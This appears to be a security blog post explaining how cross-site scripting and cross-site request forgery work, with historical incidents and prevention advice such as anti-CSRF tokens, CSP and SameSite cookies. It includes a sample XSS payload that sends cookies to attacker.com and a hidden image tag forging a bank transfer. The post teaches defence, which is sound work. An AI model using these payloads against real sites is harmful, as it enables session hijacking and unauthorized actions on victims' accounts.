How Cross-Site Scripting (XSS) and CSRF Still Haunt the Web

In an increasingly fast-paced digital world in 2025, we have equipped ourselves with the best defenses, deploying advanced approaches such as zero-trust architectures in combination with technical solutions such as AI-enabled threat intelligence and modern frameworks. We protect ourselves with such sophisticated advances and yet find ourselves unresistant to two vulnerabilities of the early internet : Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). They are the “classic ghosts” that won’t leave the machine.Despite having been around for decades, these attacks exist in 2025 due to misconfigurations, outdated code and inconsistent implementations of built-in protections.

In this blog, we will review how XSS and CSRF operate, provide some real-world examples, and then mention how a business can protect themselves against these innate attacks.

What Is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a serious web security vulnerability that enables an attacker to inject malicious client-side scripts into a web page that is viewed by other users. The threat of XSS comes from the fact that the victim’s browser will execute this hostile script in the security context of the trusted website and because the script is seen as coming from the trusted origin, it is allowed to access sensitive resources specific to that origin. If the script is executed successfully, it may steal confidential information such as cookies, session tokens and personal data, take over the victim’s current session or change the content or appearance of the web page in real-time. In a way, XSS is a weaponization of the victim’s own browser against them.

How Does It Work?

When a website displays user input (like comments, forms, or search results) without proper output encoding, an attacker can inject a script:

<script>document.location='http://attacker.com/steal.php?cookie=' + document.cookie;</script>

When another user visits that page, the script runs automatically in their browser under the site’s domain, giving the attacker access to cookies, session tokens, or personal data. In essence, the attacker runs their code on your users’ browsers through your trusted website.

Types of XSS Attacks

Stored XSS: The malicious script is permanently saved on the server (e.g., in a database or comment section). Every visitor loads it unknowingly.
Reflected XSS: The script is delivered via a crafted URL or form submission, immediately bouncing back (or “reflecting”) to the user. Often used in phishing.
DOM-Based XSS: The attack happens entirely client-side when insecure JavaScript manipulates the page’s Document Object Model (DOM) using attacker-controllable data.

Real – World Examples of XSS Attacks

  • The MySpace “Samy Worm” (2005) spread to ~1 million MySpace profiles within 24 hours using a clever encoded self-propagating XSS payload that added friends and propagated itself.
  • The 2018 British Airways breach occurred when attackers injected malicious JavaScript into the airline’s payment pages, allowing them to capture customers’ credit card information in real time as transactions were processed.

In real-world scenarios, XSS attacks go far beyond a simple alert box. They are often combined with session hijacking, credential theft, or the installation of keyloggers to achieve deeper system compromise.

How to prevent XSS ?

  • Make sure that any dynamic data is contextually encoded (HTML, JavaScript, URL, etc.) before being rendered to prevent execution as code.
  • Validate all user inputs for type, length and format on the server side. Never use input sanitizing as the only defensive security method.
  • Utilize modern frameworks (like React or Angular) that automatically provide escaping the contextually against Stored and Reflected XSS, but coding with the intention to not have DOM Based XSS must still be maintained.
  • Conduct code reviews and penetration testing on a regular basis.

What Is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery (CSRF) deceives the user’s browser into making unauthorized requests to trusted sites where the user is currently authenticated.To simplify, the attacker steals the user’s valid session to submit unapproved actions like changing personal information, transferring money or posting on websites on the victim’s behalf, without the user’s knowledge or approval.CSRF doesn’t execute malicious code, it merely leverages the implicit trust established between the user’s browser and the web application and takes advantage of the fact that the browser automatically sends authentication cookies with each request.

How Does It Work ?

Imagine you are logged into your bank. Your browser holds an authentication cookie. An attacker hosts a malicious website that contains a hidden element designed to trigger an action on the bank’s site.

The Attack Vector

A simple attack against an old or poorly secured site might embed a hidden request using an image tag:

<img src="https://example.com/transfer?to=ATTACKER_ACCOUNT" style="display:none;">

When the victim visits the attacker’s page, the browser automatically sends this request with the user’s session cookies potentially executing an action on a vulnerable site without the user’s consent.

The Modern Defense: Anti-CSRF Tokens

This attack fails against any modern, well-built application because the server requires a unique, unguessable Anti-CSRF Token with every state-changing request. Since the attacker cannot access this token (due to the Same-Origin Policy), the forged request is rejected by the server. CSRF is a threat only when this defense is missing or misconfigured.

How to Prevent CSRF?

  • Utilize Anti-CSRF Tokens: Utilize unique, unguessable tokens for each form and user session. This is the necessary application-level security for every stateful change.
  • Do not issue GET Requests for Actions: Do not issue a GET request for an action that causes a modification to the data (e.g. transfers, passwords, etc.).
  • Re-Authentication: Include a re-authentication step for sensitive actions (e.g. Changing passwords, bank info, etc.).
  • Use framework-level CSRF protection (Django, Laravel, Spring, Express), which will handle both token-based and cookie-based protections automatically.

Essential Security Headers (Defense in Depth)

A robust defense consists of layers that are enforced by the browser using HTTP headers.

  • Implement CSRF protection by generating and validating an X-CSRF-Token for all state-changing operations. When a user session is created, generate a unique, cryptographically secure token on the server side. Store the token in the user’s session or a secure server-side store. Include the CSRF token in all forms or AJAX requests usually in a hidden input field or as a JavaScript variable.
  • Use Cookie Attributes (SameSite & Secure) as a top priority: SameSite=Lax (the modern default) or SameSite=Strict for session cookies and always use the Secure flag. Enforced by your browser, this is an important layer of defense against cookie-based CSRF (cross-site request forgery) and Man-in-the-Middle attacks.
  • Implement a Content Security Policy (CSP): A strong CSP will limit sources for scripts and inline code, as well as their origins. CSP can be an effective second-layer defense when being attacked by XSS (cross-site scripting).
  • Apply additional security headers: Include HSTS (Strict-Transport-Security) to force HTTPS, and X-Content-Type-Options: nosniff to limit the effects of MIME-type confusion attacks.

Why These Threats Still Exist in 2025 ?

Even in 2025, XSS and CSRF continue to appear in vulnerability assessments due to:

  • Legacy codebases with outdated libraries.
  • Modern framework and security header misconfigurations.
  • Complex SPAs and APIs, many of which introduce the potential of new attack vectors.
  • Human error – we often forget about secure coding best practices altogether.

The issue with XSS & CSRF is not that we don’t know about them, it’s that we often overlook them.

XSS and CSRF in the API-First Era

  • Modern applications using JWT, SPAs, REST-like APIs: They are not immune.
  • XSS: If the API does not encode outgoing data, it is possible to inject script(s) into API response(s) rendered on the client side.
  • CSRF: Token-based authentication is designed to be safe from CSRF, and JWT in a header is generally safer than cookies, but it can be just as risky if there is a convenience cookie which may carry the session token.
  • Security must evolve at the same pace as the application architecture.

Conclusion

XSS and CSRF have been known vulnerabilities for decades, yet they still represent a large proportion of web application vulnerability reports in 2025. Their persistence is not because the technology was insufficient; often it was simply due to insecure coding practices, improper configurations and lack of security testing. Defending against these types of issues requires a proactive, multi-layered approach: Developers need to implement appropriate input validation, output encoding and anti-CSRF mechanisms; Security teams need to enforce Content Security Policies (CSP), use SameSite cookies and perform continuous penetration testing. Many modern frameworks will have built-in safe ways of doing things, but only if they are written in those ways. If developers use secure development practices, and organizations actively monitor and conduct consistent audits, they can dramatically decrease XSS and CSRF risk, improving user trust and application resiliency in the ever-changing threat environment.